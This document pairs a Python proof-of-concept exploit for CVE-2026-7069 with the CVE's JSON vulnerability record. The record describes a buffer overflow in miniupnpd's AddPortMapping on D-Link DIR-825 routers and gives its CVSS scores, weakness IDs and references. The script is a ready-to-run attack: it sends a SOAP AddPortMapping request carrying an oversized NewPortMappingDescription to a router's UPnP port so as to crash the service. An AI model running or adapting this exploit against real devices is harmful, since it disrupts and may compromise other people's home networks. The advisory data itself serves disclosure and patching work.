CVE-2026-7069

import requests # Target configuration target_ip = "192.168.0.1" # Common UPnP control port for D-Link devices (varies by model) target_port = 49152 url = f"http://{target_ip}:{target_port}/ctl/IPConn" # Malicious payload to trigger buffer overflow # Adjust length based on specific buffer size in firmware payload = "A" * 300 # Construct SOAP request to exploit AddPortMapping soap_body = f"""<?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost></NewRemoteHost> <NewExternalPort>12345</NewExternalPort> <NewProtocol>TCP</NewProtocol> <NewInternalPort>12345</NewInternalPort> <NewInternalClient>192.168.0.100</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>{payload}</NewPortMappingDescription> <NewLeaseDuration>0</NewLeaseDuration> </u:AddPortMapping> </s:Body> </s:Envelope>""" headers = { 'Content-Type': 'text/xml', 'SOAPAction': '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' } try: print(f"Sending exploit payload to {target_ip}...") response = requests.post(url, data=soap_body, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("If the service crashes or hangs, the exploit likely worked.") except Exception as e: print(f"Exception occurred (Service may have crashed): {e}")

{"cve": {"id": "CVE-2026-7069", "sourceIdentifier": "[email protected]", "published": "2026-04-27T00:16:21.237", "lastModified": "2026-04-30T14:08:48.790", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in D-Link DIR-825 up to 3.00b32. This impacts the function AddPortMapping of the file upnpsoap.c of the component miniupnpd. Performing a manipulation of the argument NewPortMappingDescription results in buffer overflow. The attack needs to be approached within the local network. The exploit has been released to the public and may be used for attacks. This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 7.7, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 5.1, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-825_firmware:3.00b32:*:*:*:*:*:*:*", "matchCriteriaId": "1E8841F0-6D03-4D7B-8C46-869BA76DE1C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-825:-:*:*:*:*:*:*:*", "matchCriteriaId": "7038F8A9-03F3-4442-B371-84801EF05447"}]}]}], "references": [{"url": "https://tzh00203.notion.site/D-Link-DIR-825-miniupnpd-AddPortMapping-Stack-Overflow-337b5c52018a8028988ecc9daded409e", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/798647", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/359644", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/359644/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}]}}